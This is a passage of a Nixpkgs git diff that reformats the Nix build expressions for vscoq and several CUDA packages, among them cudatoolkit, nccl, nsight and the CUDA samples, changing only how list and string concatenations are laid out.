   nativeBuildInputs = (with pkgs; [ gnumake42 ]) ++ (with coq.ocamlPackages; [ ocamlbuild ]);
 
diff --git a/pkgs/development/coq-modules/vscoq-language-server/default.nix b/pkgs/development/coq-modules/vscoq-language-server/default.nix
index f4fd8e2ecb29..2f2eeb52c869 100644
--- a/pkgs/development/coq-modules/vscoq-language-server/default.nix
+++ b/pkgs/development/coq-modules/vscoq-language-server/default.nix
@@ -59,29 +59,28 @@ ocamlPackages.buildDunePackage {
   inherit (fetched) version;
   src = "${fetched.src}/language-server";
   nativeBuildInputs = [ coq ];
-  buildInputs =
-    [
-      coq
-      glib
-      adwaita-icon-theme
-      wrapGAppsHook3
-    ]
-    ++ (with ocamlPackages; [
-      findlib
-      lablgtk3-sourceview3
-      yojson
-      zarith
-      ppx_inline_test
-      ppx_assert
-      ppx_sexp_conv
-      ppx_deriving
-      ppx_import
-      sexplib
-      ppx_yojson_conv
-      lsp
-      sel
-      ppx_optcomp
-    ]);
+  buildInputs = [
+    coq
+    glib
+    adwaita-icon-theme
+    wrapGAppsHook3
+  ]
+  ++ (with ocamlPackages; [
+    findlib
+    lablgtk3-sourceview3
+    yojson
+    zarith
+    ppx_inline_test
+    ppx_assert
+    ppx_sexp_conv
+    ppx_deriving
+    ppx_import
+    sexplib
+    ppx_yojson_conv
+    lsp
+    sel
+    ppx_optcomp
+  ]);
 
   meta =
     with lib;
diff --git a/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
index 67b45ece2026..18d51bd2774d 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
@@ -28,11 +28,9 @@ prevAttrs: {
       fi
     '';
 
-  postFixup =
-    prevAttrs.postFixup or ""
-    + ''
-      moveToOutput lib/stubs "$stubs"
-      ln -s "$stubs"/lib/stubs/* "$stubs"/lib/
-      ln -s "$stubs"/lib/stubs "''${!outputLib}/lib/stubs"
-    '';
+  postFixup = prevAttrs.postFixup or "" + ''
+    moveToOutput lib/stubs "$stubs"
+    ln -s "$stubs"/lib/stubs/* "$stubs"/lib/
+    ln -s "$stubs"/lib/stubs "''${!outputLib}/lib/stubs"
+  '';
 }
diff --git a/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix
index 9ffa5880e140..a4c7c6b55d1a 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix
@@ -57,11 +57,9 @@ prevAttrs: {
   # Entries here will be in nativeBuildInputs when cuda_nvcc is in nativeBuildInputs.
   propagatedBuildInputs = prevAttrs.propagatedBuildInputs or [ ] ++ [ setupCudaHook ];
 
-  postInstall =
-    prevAttrs.postInstall or ""
-    + ''
-      moveToOutput "nvvm" "''${!outputBin}"
-    '';
+  postInstall = prevAttrs.postInstall or "" + ''
+    moveToOutput "nvvm" "''${!outputBin}"
+  '';
 
   # The nvcc and cicc binaries contain hard-coded references to /usr
   allowFHSReferences = true;
diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
index babb54fdd0c7..584893f54c24 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
@@ -32,26 +32,20 @@ in
     rdma-core
   ];
   dontWrapQtApps = true;
-  preInstall =
-    prevAttrs.preInstall or ""
-    + ''
-      rm -rf host/${archDir}/Mesa/
-    '';
-  postInstall =
-    prevAttrs.postInstall or ""
-    + ''
-      moveToOutput 'ncu' "''${!outputBin}/bin"
-      moveToOutput 'ncu-ui' "''${!outputBin}/bin"
-      moveToOutput 'host/${archDir}' "''${!outputBin}/bin"
-      moveToOutput 'target/${archDir}' "''${!outputBin}/bin"
-      wrapQtApp "''${!outputBin}/bin/host/${archDir}/ncu-ui.bin"
-    '';
-  preFixup =
-    prevAttrs.preFixup or ""
-    + ''
-      # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
-      patchelf --replace-needed libtiff.so.5 libtiff.so "''${!outputBin}/bin/host/${archDir}/Plugins/imageformats/libqtiff.so"
-    '';
+  preInstall = prevAttrs.preInstall or "" + ''
+    rm -rf host/${archDir}/Mesa/
+  '';
+  postInstall = prevAttrs.postInstall or "" + ''
+    moveToOutput 'ncu' "''${!outputBin}/bin"
+    moveToOutput 'ncu-ui' "''${!outputBin}/bin"
+    moveToOutput 'host/${archDir}' "''${!outputBin}/bin"
+    moveToOutput 'target/${archDir}' "''${!outputBin}/bin"
+    wrapQtApp "''${!outputBin}/bin/host/${archDir}/ncu-ui.bin"
+  '';
+  preFixup = prevAttrs.preFixup or "" + ''
+    # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
+    patchelf --replace-needed libtiff.so.5 libtiff.so "''${!outputBin}/bin/host/${archDir}/Plugins/imageformats/libqtiff.so"
+  '';
   autoPatchelfIgnoreMissingDeps = prevAttrs.autoPatchelfIgnoreMissingDeps or [ ] ++ [
     "libnvidia-ml.so.1"
   ];
diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
index 823559dfae72..9040dc36a21d 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
@@ -57,14 +57,12 @@ in
         "nsight-systems/${versionString}/${hostDir}/Mesa"
       ];
   };
-  postPatch =
-    prevAttrs.postPatch or ""
-    + ''
-      for path in $rmPatterns; do
-        rm -r "$path"
-      done
-      patchShebangs nsight-systems
-    '';
+  postPatch = prevAttrs.postPatch or "" + ''
+    for path in $rmPatterns; do
+      rm -r "$path"
+    done
+    patchShebangs nsight-systems
+  '';
   nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ qt.wrapQtAppsHook ];
   dontWrapQtApps = true;
   buildInputs = prevAttrs.buildInputs or [ ] ++ [
@@ -108,12 +106,10 @@ in
       wrapQtApp "$bin/nsight-systems/${versionString}/${hostDir}/nsys-ui.bin"
     '';
 
-  preFixup =
-    prevAttrs.preFixup or ""
-    + ''
-      # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
-      patchelf --replace-needed libtiff.so.5 libtiff.so $bin/nsight-systems/${versionString}/${hostDir}/Plugins/imageformats/libqtiff.so
-    '';
+  preFixup = prevAttrs.preFixup or "" + ''
+    # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
+    patchelf --replace-needed libtiff.so.5 libtiff.so $bin/nsight-systems/${versionString}/${hostDir}/Plugins/imageformats/libqtiff.so
+  '';
 
   autoPatchelfIgnoreMissingDeps = prevAttrs.autoPatchelfIgnoreMissingDeps or [ ] ++ [
     "libnvidia-ml.so.1"
diff --git a/pkgs/development/cuda-modules/cuda-library-samples/generic.nix b/pkgs/development/cuda-modules/cuda-library-samples/generic.nix
index dfd48ce7c5ed..a3a5558f389f 100644
--- a/pkgs/development/cuda-modules/cuda-library-samples/generic.nix
+++ b/pkgs/development/cuda-modules/cuda-library-samples/generic.nix
@@ -81,12 +81,10 @@ in
       ];
 
       # CUTENSOR_ROOT is double escaped
-      postPatch =
-        prevAttrs.postPatch or ""
-        + ''
-          substituteInPlace CMakeLists.txt \
-            --replace-fail "\''${CUTENSOR_ROOT}/include" "${lib.getDev cutensor}/include"
-        '';
+      postPatch = prevAttrs.postPatch or "" + ''
+        substituteInPlace CMakeLists.txt \
+          --replace-fail "\''${CUTENSOR_ROOT}/include" "${lib.getDev cutensor}/include"
+      '';
 
       CUTENSOR_ROOT = cutensor;
 
@@ -121,21 +119,17 @@ in
           cuda_cccl # <nv/target>
         ];
 
-      postPatch =
-        prevAttrs.postPatch or ""
-        + ''
-          substituteInPlace CMakeLists.txt \
-            --replace-fail "''${CUSPARSELT_ROOT}/lib64/libcusparseLt.so" "${lib.getLib cusparselt}/lib/libcusparseLt.so" \
-            --replace-fail "''${CUSPARSELT_ROOT}/lib64/libcusparseLt_static.a" "${lib.getStatic cusparselt}/lib/libcusparseLt_static.a"
-        '';
+      postPatch = prevAttrs.postPatch or "" + ''
+        substituteInPlace CMakeLists.txt \
+          --replace-fail "''${CUSPARSELT_ROOT}/lib64/libcusparseLt.so" "${lib.getLib cusparselt}/lib/libcusparseLt.so" \
+          --replace-fail "''${CUSPARSELT_ROOT}/lib64/libcusparseLt_static.a" "${lib.getStatic cusparselt}/lib/libcusparseLt_static.a"
+      '';
 
-      postInstall =
-        prevAttrs.postInstall or ""
-        + ''
-          mkdir -p $out/bin
-          cp matmul_example $out/bin/
-          cp matmul_example_static $out/bin/
-        '';
+      postInstall = prevAttrs.postInstall or "" + ''
+        mkdir -p $out/bin
+        cp matmul_example $out/bin/
+        cp matmul_example_static $out/bin/
+      '';
 
       CUDA_TOOLKIT_PATH = lib.getLib cudatoolkit;
       CUSPARSELT_PATH = lib.getLib cusparselt;
diff --git a/pkgs/development/cuda-modules/cuda-samples/generic.nix b/pkgs/development/cuda-modules/cuda-samples/generic.nix
index 295fd55164b4..623e02645638 100644
--- a/pkgs/development/cuda-modules/cuda-samples/generic.nix
+++ b/pkgs/development/cuda-modules/cuda-samples/generic.nix
@@ -29,15 +29,14 @@ backendStdenv.mkDerivation (finalAttrs: {
     inherit hash;
   };
 
-  nativeBuildInputs =
-    [
-      autoAddDriverRunpath
-      pkg-config
-    ]
-    # CMake has to run as a native, build-time dependency for libNVVM samples.
-    # However, it's not the primary build tool -- that's still make.
-    # As such, we disable CMake's build system.
-    ++ lists.optionals (strings.versionAtLeast finalAttrs.version "12.2") [ cmake ];
+  nativeBuildInputs = [
+    autoAddDriverRunpath
+    pkg-config
+  ]
+  # CMake has to run as a native, build-time dependency for libNVVM samples.
+  # However, it's not the primary build tool -- that's still make.
+  # As such, we disable CMake's build system.
+  ++ lists.optionals (strings.versionAtLeast finalAttrs.version "12.2") [ cmake ];
 
   dontUseCmakeConfigure = true;
 
diff --git a/pkgs/development/cuda-modules/cudatoolkit/default.nix b/pkgs/development/cuda-modules/cudatoolkit/default.nix
index 47d905b576fb..e778abfc8faa 100644
--- a/pkgs/development/cuda-modules/cudatoolkit/default.nix
+++ b/pkgs/development/cuda-modules/cudatoolkit/default.nix
@@ -81,82 +81,82 @@ backendStdenv.mkDerivation rec {
     autoPatchelfHook
     autoAddDriverRunpath
     markForCudatoolkitRootHook
-  ] ++ lib.optionals (lib.versionAtLeast version "11.8") [ qt6Packages.wrapQtAppsHook ];
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "11.8") [ qt6Packages.wrapQtAppsHook ];
   propagatedBuildInputs = [ setupCudaHook ];
-  buildInputs =
-    [
-      # To get $GDK_PIXBUF_MODULE_FILE via setup-hook
-      gdk-pixbuf
+  buildInputs = [
+    # To get $GDK_PIXBUF_MODULE_FILE via setup-hook
+    gdk-pixbuf
 
-      # For autoPatchelf
-      ncurses5
-      expat
-      python3
-      zlib
-      glibc
-      xorg.libX11
-      xorg.libXext
-      xorg.libXrender
-      xorg.libXt
-      xorg.libXtst
-      xorg.libXi
-      xorg.libXext
-      xorg.libXdamage
-      xorg.libxcb
-      xorg.xcbutilimage
-      xorg.xcbutilrenderutil
-      xorg.xcbutilwm
-      xorg.xcbutilkeysyms
-      pulseaudio
-      libxkbcommon
-      libkrb5
-      krb5
-      gtk2
-      glib
-      fontconfig
-      freetype
-      numactl
-      nss
-      unixODBC
-      alsa-lib
-      wayland
-      libglvnd
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "11.8") [
-      (lib.getLib libtiff)
-      qt6Packages.qtwayland
-      rdma-core
-      (ucx.override { enableCuda = false; }) # Avoid infinite recursion
-      xorg.libxshmfence
-      xorg.libxkbfile
-    ]
-    ++ (lib.optionals (lib.versionAtLeast version "12") (
-      map lib.getLib ([
-        # Used by `/target-linux-x64/CollectX/clx` and `/target-linux-x64/CollectX/libclx_api.so` for:
-        # - `libcurl.so.4`
-        curlMinimal
+    # For autoPatchelf
+    ncurses5
+    expat
+    python3
+    zlib
+    glibc
+    xorg.libX11
+    xorg.libXext
+    xorg.libXrender
+    xorg.libXt
+    xorg.libXtst
+    xorg.libXi
+    xorg.libXext
+    xorg.libXdamage
+    xorg.libxcb
+    xorg.xcbutilimage
+    xorg.xcbutilrenderutil
+    xorg.xcbutilwm
+    xorg.xcbutilkeysyms
+    pulseaudio
+    libxkbcommon
+    libkrb5
+    krb5
+    gtk2
+    glib
+    fontconfig
+    freetype
+    numactl
+    nss
+    unixODBC
+    alsa-lib
+    wayland
+    libglvnd
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "11.8") [
+    (lib.getLib libtiff)
+    qt6Packages.qtwayland
+    rdma-core
+    (ucx.override { enableCuda = false; }) # Avoid infinite recursion
+    xorg.libxshmfence
+    xorg.libxkbfile
+  ]
+  ++ (lib.optionals (lib.versionAtLeast version "12") (
+    map lib.getLib ([
+      # Used by `/target-linux-x64/CollectX/clx` and `/target-linux-x64/CollectX/libclx_api.so` for:
+      # - `libcurl.so.4`
+      curlMinimal
 
-        # Used by `/host-linux-x64/Scripts/WebRTCContainer/setup/neko/server/bin/neko`
-        gst_all_1.gstreamer
-        gst_all_1.gst-plugins-base
-      ])
-      ++ (with qt6; [
-        qtmultimedia
-        qttools
-        qtpositioning
-        qtscxml
-        qtsvg
-        qtwebchannel
-        qtwebengine
-      ])
-    ))
-    ++ lib.optionals (lib.versionAtLeast version "12.6") [
-      # libcrypt.so.1
-      libxcrypt-legacy
-      ncurses6
-      python310
-      python311
-    ];
+      # Used by `/host-linux-x64/Scripts/WebRTCContainer/setup/neko/server/bin/neko`
+      gst_all_1.gstreamer
+      gst_all_1.gst-plugins-base
+    ])
+    ++ (with qt6; [
+      qtmultimedia
+      qttools
+      qtpositioning
+      qtscxml
+      qtsvg
+      qtwebchannel
+      qtwebengine
+    ])
+  ))
+  ++ lib.optionals (lib.versionAtLeast version "12.6") [
+    # libcrypt.so.1
+    libxcrypt-legacy
+    ncurses6
+    python310
+    python311
+  ];
 
   # Prepended to runpaths by autoPatchelf.
   # The order inherited from older rpath preFixup code
@@ -193,117 +193,116 @@ backendStdenv.mkDerivation rec {
     sh $src --keep --noexec
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir $out
-      mkdir -p $out/bin $out/lib64 $out/include $doc
-      for dir in pkg/builds/* pkg/builds/cuda_nvcc/nvvm pkg/builds/cuda_cupti/extras/CUPTI; do
-        if [ -d $dir/bin ]; then
-          mv $dir/bin/* $out/bin
-        fi
-        if [ -d $dir/doc ]; then
-          (cd $dir/doc && find . -type d -exec mkdir -p $doc/\{} \;)
-          (cd $dir/doc && find . \( -type f -o -type l \) -exec mv \{} $doc/\{} \;)
-        fi
-        if [ -L $dir/include ] || [ -d $dir/include ]; then
-          (cd $dir/include && find . -type d -exec mkdir -p $out/include/\{} \;)
-          (cd $dir/include && find . \( -type f -o -type l \) -exec mv \{} $out/include/\{} \;)
-        fi
-        if [ -L $dir/lib64 ] || [ -d $dir/lib64 ]; then
-          (cd $dir/lib64 && find . -type d -exec mkdir -p $out/lib64/\{} \;)
-          (cd $dir/lib64 && find . \( -type f -o -type l \) -exec mv \{} $out/lib64/\{} \;)
-        fi
-      done
-      mv pkg/builds/cuda_nvcc/nvvm $out/nvvm
-
-      mv pkg/builds/cuda_sanitizer_api $out/cuda_sanitizer_api
-      ln -s $out/cuda_sanitizer_api/compute-sanitizer/compute-sanitizer $out/bin/compute-sanitizer
-
-      mv pkg/builds/nsight_systems/target-linux-x64 $out/target-linux-x64
-      mv pkg/builds/nsight_systems/host-linux-x64 $out/host-linux-x64
-      rm $out/host-linux-x64/libstdc++.so*
-        ${lib.optionalString (lib.versionAtLeast version "11.8" && lib.versionOlder version "12")
-          # error: auto-patchelf could not satisfy dependency libtiff.so.5 wanted by /nix/store/.......-cudatoolkit-12.0.1/host-linux-x64/Plugins/imageformats/libqtiff.so
-          # we only ship libtiff.so.6, so let's use qt plugins built by Nix.
-          # TODO: don't copy, come up with a symlink-based "merge"
-          ''
-            rsync ${lib.getLib qt6Packages.qtimageformats}/lib/qt-6/plugins/ $out/host-linux-x64/Plugins/ -aP
-          ''
-        }
-        ${lib.optionalString (lib.versionAtLeast version "12")
-          # Use Qt plugins built by Nix.
-          ''
-            for qtlib in $out/host-linux-x64/Plugins/*/libq*.so; do
-              qtdir=$(basename $(dirname $qtlib))
-              filename=$(basename $qtlib)
-              for qtpkgdir in ${
-                lib.concatMapStringsSep " " (x: qt6Packages.${x}) [
-                  "qtbase"
-                  "qtimageformats"
-                  "qtsvg"
-                  "qtwayland"
-                ]
-              }; do
-                if [ -e $qtpkgdir/lib/qt-6/plugins/$qtdir/$filename ]; then
-                  ln -snf $qtpkgdir/lib/qt-6/plugins/$qtdir/$filename $qtlib
-                fi
-              done
-            done
-          ''
-        }
-
-      rm -f $out/tools/CUDA_Occupancy_Calculator.xls # FIXME: why?
-
-      ${lib.optionalString (lib.versionAtLeast version "12.0") ''
-        rm $out/host-linux-x64/libQt6*
-      ''}
-
-      # Fixup path to samples (needed for cuda 6.5 or else nsight will not find them)
-      if [ -d "$out"/cuda-samples ]; then
-          mv "$out"/cuda-samples "$out"/samples
+  installPhase = ''
+    runHook preInstall
+    mkdir $out
+    mkdir -p $out/bin $out/lib64 $out/include $doc
+    for dir in pkg/builds/* pkg/builds/cuda_nvcc/nvvm pkg/builds/cuda_cupti/extras/CUPTI; do
+      if [ -d $dir/bin ]; then
+        mv $dir/bin/* $out/bin
       fi
+      if [ -d $dir/doc ]; then
+        (cd $dir/doc && find . -type d -exec mkdir -p $doc/\{} \;)
+        (cd $dir/doc && find . \( -type f -o -type l \) -exec mv \{} $doc/\{} \;)
+      fi
+      if [ -L $dir/include ] || [ -d $dir/include ]; then
+        (cd $dir/include && find . -type d -exec mkdir -p $out/include/\{} \;)
+        (cd $dir/include && find . \( -type f -o -type l \) -exec mv \{} $out/include/\{} \;)
+      fi
+      if [ -L $dir/lib64 ] || [ -d $dir/lib64 ]; then
+        (cd $dir/lib64 && find . -type d -exec mkdir -p $out/lib64/\{} \;)
+        (cd $dir/lib64 && find . \( -type f -o -type l \) -exec mv \{} $out/lib64/\{} \;)
+      fi
+    done
+    mv pkg/builds/cuda_nvcc/nvvm $out/nvvm
 
-      # Change the #error on GCC > 4.9 to a #warning.
-      sed -i $out/include/host_config.h -e 's/#error\(.*unsupported GNU version\)/#warning\1/'
+    mv pkg/builds/cuda_sanitizer_api $out/cuda_sanitizer_api
+    ln -s $out/cuda_sanitizer_api/compute-sanitizer/compute-sanitizer $out/bin/compute-sanitizer
 
-      # Fix builds with newer glibc version
-      sed -i "1 i#define _BITS_FLOATN_H" "$out/include/host_defines.h"
+    mv pkg/builds/nsight_systems/target-linux-x64 $out/target-linux-x64
+    mv pkg/builds/nsight_systems/host-linux-x64 $out/host-linux-x64
+    rm $out/host-linux-x64/libstdc++.so*
+      ${lib.optionalString (lib.versionAtLeast version "11.8" && lib.versionOlder version "12")
+        # error: auto-patchelf could not satisfy dependency libtiff.so.5 wanted by /nix/store/.......-cudatoolkit-12.0.1/host-linux-x64/Plugins/imageformats/libqtiff.so
+        # we only ship libtiff.so.6, so let's use qt plugins built by Nix.
+        # TODO: don't copy, come up with a symlink-based "merge"
+        ''
+          rsync ${lib.getLib qt6Packages.qtimageformats}/lib/qt-6/plugins/ $out/host-linux-x64/Plugins/ -aP
+        ''
+      }
+      ${lib.optionalString (lib.versionAtLeast version "12")
+        # Use Qt plugins built by Nix.
+        ''
+          for qtlib in $out/host-linux-x64/Plugins/*/libq*.so; do
+            qtdir=$(basename $(dirname $qtlib))
+            filename=$(basename $qtlib)
+            for qtpkgdir in ${
+              lib.concatMapStringsSep " " (x: qt6Packages.${x}) [
+                "qtbase"
+                "qtimageformats"
+                "qtsvg"
+                "qtwayland"
+              ]
+            }; do
+              if [ -e $qtpkgdir/lib/qt-6/plugins/$qtdir/$filename ]; then
+                ln -snf $qtpkgdir/lib/qt-6/plugins/$qtdir/$filename $qtlib
+              fi
+            done
+          done
+        ''
+      }
+
+    rm -f $out/tools/CUDA_Occupancy_Calculator.xls # FIXME: why?
+
+    ${lib.optionalString (lib.versionAtLeast version "12.0") ''
+      rm $out/host-linux-x64/libQt6*
+    ''}
+
+    # Fixup path to samples (needed for cuda 6.5 or else nsight will not find them)
+    if [ -d "$out"/cuda-samples ]; then
+        mv "$out"/cuda-samples "$out"/samples
+    fi
+
+    # Change the #error on GCC > 4.9 to a #warning.
+    sed -i $out/include/host_config.h -e 's/#error\(.*unsupported GNU version\)/#warning\1/'
+
+    # Fix builds with newer glibc version
+    sed -i "1 i#define _BITS_FLOATN_H" "$out/include/host_defines.h"
+  ''
+  +
+    # Point NVCC at a compatible compiler
+    # CUDA_TOOLKIT_ROOT_DIR is legacy,
+    # Cf. https://cmake.org/cmake/help/latest/module/FindCUDA.html#input-variables
     ''
-    +
-      # Point NVCC at a compatible compiler
-      # CUDA_TOOLKIT_ROOT_DIR is legacy,
-      # Cf. https://cmake.org/cmake/help/latest/module/FindCUDA.html#input-variables
-      ''
-        mkdir -p $out/nix-support
-        cat <<EOF >> $out/nix-support/setup-hook
-        cmakeFlags+=' -DCUDA_TOOLKIT_ROOT_DIR=$out'
-        EOF
+      mkdir -p $out/nix-support
+      cat <<EOF >> $out/nix-support/setup-hook
+      cmakeFlags+=' -DCUDA_TOOLKIT_ROOT_DIR=$out'
+      EOF
 
-        # Move some libraries to the lib output so that programs that
-        # depend on them don't pull in this entire monstrosity.
-        mkdir -p $lib/lib
-        mv -v $out/lib64/libcudart* $lib/lib/
+      # Move some libraries to the lib output so that programs that
+      # depend on them don't pull in this entire monstrosity.
+      mkdir -p $lib/lib
+      mv -v $out/lib64/libcudart* $lib/lib/
 
-        # Remove OpenCL libraries as they are provided by ocl-icd and driver.
-        rm -f $out/lib64/libOpenCL*
+      # Remove OpenCL libraries as they are provided by ocl-icd and driver.
+      rm -f $out/lib64/libOpenCL*
 
-        # nvprof do not find any program to profile if LD_LIBRARY_PATH is not set
-        wrapProgram $out/bin/nvprof \
-          --prefix LD_LIBRARY_PATH : $out/lib
-      ''
-    # 11.8 includes a broken symlink, include/include, pointing to targets/x86_64-linux/include
-    + lib.optionalString (lib.versions.majorMinor version == "11.8") ''
-      rm $out/include/include
+      # nvprof do not find any program to profile if LD_LIBRARY_PATH is not set
+      wrapProgram $out/bin/nvprof \
+        --prefix LD_LIBRARY_PATH : $out/lib
     ''
-    # Python 3.8 is not in nixpkgs anymore, delete Python 3.8 cuda-gdb support
-    # to avoid autopatchelf failing to find libpython3.8.so.
-    + lib.optionalString (lib.versionAtLeast version "12.6") ''
-      find $out -name '*python3.8*' -delete
-    ''
-    + ''
-      runHook postInstall
-    '';
+  # 11.8 includes a broken symlink, include/include, pointing to targets/x86_64-linux/include
+  + lib.optionalString (lib.versions.majorMinor version == "11.8") ''
+    rm $out/include/include
+  ''
+  # Python 3.8 is not in nixpkgs anymore, delete Python 3.8 cuda-gdb support
+  # to avoid autopatchelf failing to find libpython3.8.so.
+  + lib.optionalString (lib.versionAtLeast version "12.6") ''
+    find $out -name '*python3.8*' -delete
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   postInstall = ''
     for b in nvvp; do
diff --git a/pkgs/development/cuda-modules/generic-builders/manifest.nix b/pkgs/development/cuda-modules/generic-builders/manifest.nix
index 36872cf9682f..7f346df79809 100644
--- a/pkgs/development/cuda-modules/generic-builders/manifest.nix
+++ b/pkgs/development/cuda-modules/generic-builders/manifest.nix
@@ -201,24 +201,23 @@ in
   # We do need some other phases, like configurePhase, so the multiple-output setup hook works.
   dontBuild = true;
 
-  nativeBuildInputs =
-    [
-      autoPatchelfHook
-      # This hook will make sure libcuda can be found
-      # in typically /lib/opengl-driver by adding that
-      # directory to the rpath of all ELF binaries.
-      # Check e.g. with `patchelf --print-rpath path/to/my/binary
-      autoAddDriverRunpath
-      markForCudatoolkitRootHook
-    ]
-    # autoAddCudaCompatRunpath depends on cuda_compat and would cause
-    # infinite recursion if applied to `cuda_compat` itself (beside the fact
-    # that it doesn't make sense in the first place)
-    ++ lib.optionals (pname != "cuda_compat" && flags.isJetsonBuild) [
-      # autoAddCudaCompatRunpath must appear AFTER autoAddDriverRunpath.
-      # See its documentation in ./setup-hooks/extension.nix.
-      autoAddCudaCompatRunpath
-    ];
+  nativeBuildInputs = [
+    autoPatchelfHook
+    # This hook will make sure libcuda can be found
+    # in typically /lib/opengl-driver by adding that
+    # directory to the rpath of all ELF binaries.
+    # Check e.g. with `patchelf --print-rpath path/to/my/binary
+    autoAddDriverRunpath
+    markForCudatoolkitRootHook
+  ]
+  # autoAddCudaCompatRunpath depends on cuda_compat and would cause
+  # infinite recursion if applied to `cuda_compat` itself (beside the fact
+  # that it doesn't make sense in the first place)
+  ++ lib.optionals (pname != "cuda_compat" && flags.isJetsonBuild) [
+    # autoAddCudaCompatRunpath must appear AFTER autoAddDriverRunpath.
+    # See its documentation in ./setup-hooks/extension.nix.
+    autoAddCudaCompatRunpath
+  ];
 
   buildInputs = [
     # autoPatchelfHook will search for a libstdc++ and we're giving it
diff --git a/pkgs/development/cuda-modules/packages/cudnn-frontend/package.nix b/pkgs/development/cuda-modules/packages/cudnn-frontend/package.nix
index 22b895f7658e..b9e622b9f31e 100644
--- a/pkgs/development/cuda-modules/packages/cudnn-frontend/package.nix
+++ b/pkgs/development/cuda-modules/packages/cudnn-frontend/package.nix
@@ -57,15 +57,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   # TODO: As a header-only library, we should make sure we have an `include` directory or similar which is not a
   # superset of the `out` (`bin`) or `dev` outputs (which is what the multiple-outputs setup hook does by default).
-  outputs =
-    [
-      "out"
-    ]
-    ++ optionals finalAttrs.doCheck [
-      "legacy_samples"
-      "samples"
-      "tests"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ optionals finalAttrs.doCheck [
+    "legacy_samples"
+    "samples"
+    "tests"
+  ];
 
   nativeBuildInputs = [
     autoAddDriverRunpath # Needed for samples because it links against CUDA::cuda_driver
diff --git a/pkgs/development/cuda-modules/packages/nccl-tests.nix b/pkgs/development/cuda-modules/packages/nccl-tests.nix
index 84f048a706ef..fb800bd4dae5 100644
--- a/pkgs/development/cuda-modules/packages/nccl-tests.nix
+++ b/pkgs/development/cuda-modules/packages/nccl-tests.nix
@@ -42,28 +42,31 @@ backendStdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ which ]
-    ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
-    ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
+  nativeBuildInputs = [
+    which
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
+  ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
 
-  buildInputs =
-    [ nccl ]
-    ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
-    ++ lib.optionals (cudaAtLeast "11.4") [
-      cuda_nvcc # crt/host_config.h
-      cuda_cudart
-    ]
-    ++ lib.optionals (cudaAtLeast "12.0") [
-      cuda_cccl # <nv/target>
-    ]
-    ++ lib.optionals mpiSupport [ mpi ];
+  buildInputs = [
+    nccl
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
+  ++ lib.optionals (cudaAtLeast "11.4") [
+    cuda_nvcc # crt/host_config.h
+    cuda_cudart
+  ]
+  ++ lib.optionals (cudaAtLeast "12.0") [
+    cuda_cccl # <nv/target>
+  ]
+  ++ lib.optionals mpiSupport [ mpi ];
 
-  makeFlags =
-    [ "NCCL_HOME=${nccl}" ]
-    ++ lib.optionals (cudaOlder "11.4") [ "CUDA_HOME=${cudatoolkit}" ]
-    ++ lib.optionals (cudaAtLeast "11.4") [ "CUDA_HOME=${cuda_nvcc}" ]
-    ++ lib.optionals mpiSupport [ "MPI=1" ];
+  makeFlags = [
+    "NCCL_HOME=${nccl}"
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [ "CUDA_HOME=${cudatoolkit}" ]
+  ++ lib.optionals (cudaAtLeast "11.4") [ "CUDA_HOME=${cuda_nvcc}" ]
+  ++ lib.optionals mpiSupport [ "MPI=1" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/cuda-modules/packages/nccl.nix b/pkgs/development/cuda-modules/packages/nccl.nix
index a469f9602742..871e06a90b09 100644
--- a/pkgs/development/cuda-modules/packages/nccl.nix
+++ b/pkgs/development/cuda-modules/packages/nccl.nix
@@ -50,14 +50,13 @@ backendStdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  nativeBuildInputs =
-    [
-      which
-      autoAddDriverRunpath
-      python3
-    ]
-    ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
-    ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
+  nativeBuildInputs = [
+    which
+    autoAddDriverRunpath
+    python3
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
+  ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
 
   buildInputs =
     lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
@@ -73,32 +72,30 @@ backendStdenv.mkDerivation (finalAttrs: {
 
   env.NIX_CFLAGS_COMPILE = toString [ "-Wno-unused-function" ];
 
-  postPatch =
-    ''
-      patchShebangs ./src/device/generate.py
